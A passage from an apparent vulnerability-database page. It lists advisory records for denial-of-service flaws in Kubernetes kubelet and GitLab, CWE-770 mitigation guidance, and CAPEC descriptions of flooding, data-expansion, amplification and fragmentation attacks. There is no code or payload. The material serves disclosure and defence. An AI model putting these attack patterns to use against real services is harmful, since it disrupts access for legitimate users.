"published": "2023-05-09T21:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-46760"
},
{
"type": "WEB",
"url": "https://www.amd.com/en/corporate/product-security/bulletin/AMD-SB-4001"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QHM4-JXV7-J9PQ
Vulnerability from github – Published: 2022-02-15 01:57 – Updated: 2023-01-27 21:42The Kubelet component in versions 1.15.0-1.15.9, 1.16.0-1.16.6, and 1.17.0-1.17.2 has been found to be vulnerable to a denial of service attack via the kubelet API, including the unauthenticated HTTP read-only API typically served on port 10255, and the authenticated HTTPS API typically served on port 10250.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "k8s.io/kubernetes"
},
"ranges": [
{
"events": [
{
"introduced": "1.15.0"
},
{
"fixed": "1.15.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "k8s.io/kubernetes"
},
"ranges": [
{
"events": [
{
"introduced": "1.16.0"
},
{
"fixed": "1.16.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "k8s.io/kubernetes"
},
"ranges": [
{
"events": [
{
"introduced": "1.17.0"
},
{
"fixed": "1.17.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-8551"
],
"database_specific": {
"cwe_ids": [
"CWE-770",
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-06T21:53:58Z",
"nvd_published_at": "2020-03-27T15:15:00Z",
"severity": "MODERATE"
},
"details": "The Kubelet component in versions 1.15.0-1.15.9, 1.16.0-1.16.6, and 1.17.0-1.17.2 has been found to be vulnerable to a denial of service attack via the kubelet API, including the unauthenticated HTTP read-only API typically served on port 10255, and the authenticated HTTPS API typically served on port 10250.",
"id": "GHSA-qhm4-jxv7-j9pq",
"modified": "2023-01-27T21:42:48Z",
"published": "2022-02-15T01:57:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8551"
},
{
"type": "WEB",
"url": "https://github.com/kubernetes/kubernetes/issues/89377"
},
{
"type": "WEB",
"url": "https://github.com/kubernetes/kubernetes/pull/87913"
},
{
"type": "WEB",
"url": "https://github.com/kubernetes/kubernetes/commit/9802bfcec0580169cffce2a3d468689a407fa7dc"
},
{
"type": "WEB",
"url": "https://groups.google.com/forum/#!topic/kubernetes-security-announce/2UOlsba2g0s"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3SOCLOPTSYABTE4CLTSPDIFE6ZZZR4LX"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20200413-0003"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Allocation of Resources Without Limits or Throttling and Uncontrolled Memory Allocation in Kubernetes"
}
GHSA-QHV6-Q9X7-GGMG
Vulnerability from github – Published: 2025-06-26 06:31 – Updated: 2025-06-26 06:31An issue has been discovered in GitLab CE/EE affecting all versions from 10.7 before 17.11.5, 18.0 before 18.0.3, and 18.1 before 18.1.1 that could have allowed authenticated attackers to create a DoS condition by sending crafted GraphQL requests.
{
"affected": [],
"aliases": [
"CVE-2025-3279"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-26T06:15:23Z",
"severity": "MODERATE"
},
"details": "An issue has been discovered in GitLab CE/EE affecting all versions from 10.7 before 17.11.5, 18.0 before 18.0.3, and 18.1 before 18.1.1 that could have allowed authenticated attackers to create a DoS condition by sending crafted GraphQL requests.",
"id": "GHSA-qhv6-q9x7-ggmg",
"modified": "2025-06-26T06:31:04Z",
"published": "2025-06-26T06:31:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3279"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/3067111"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/534424"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.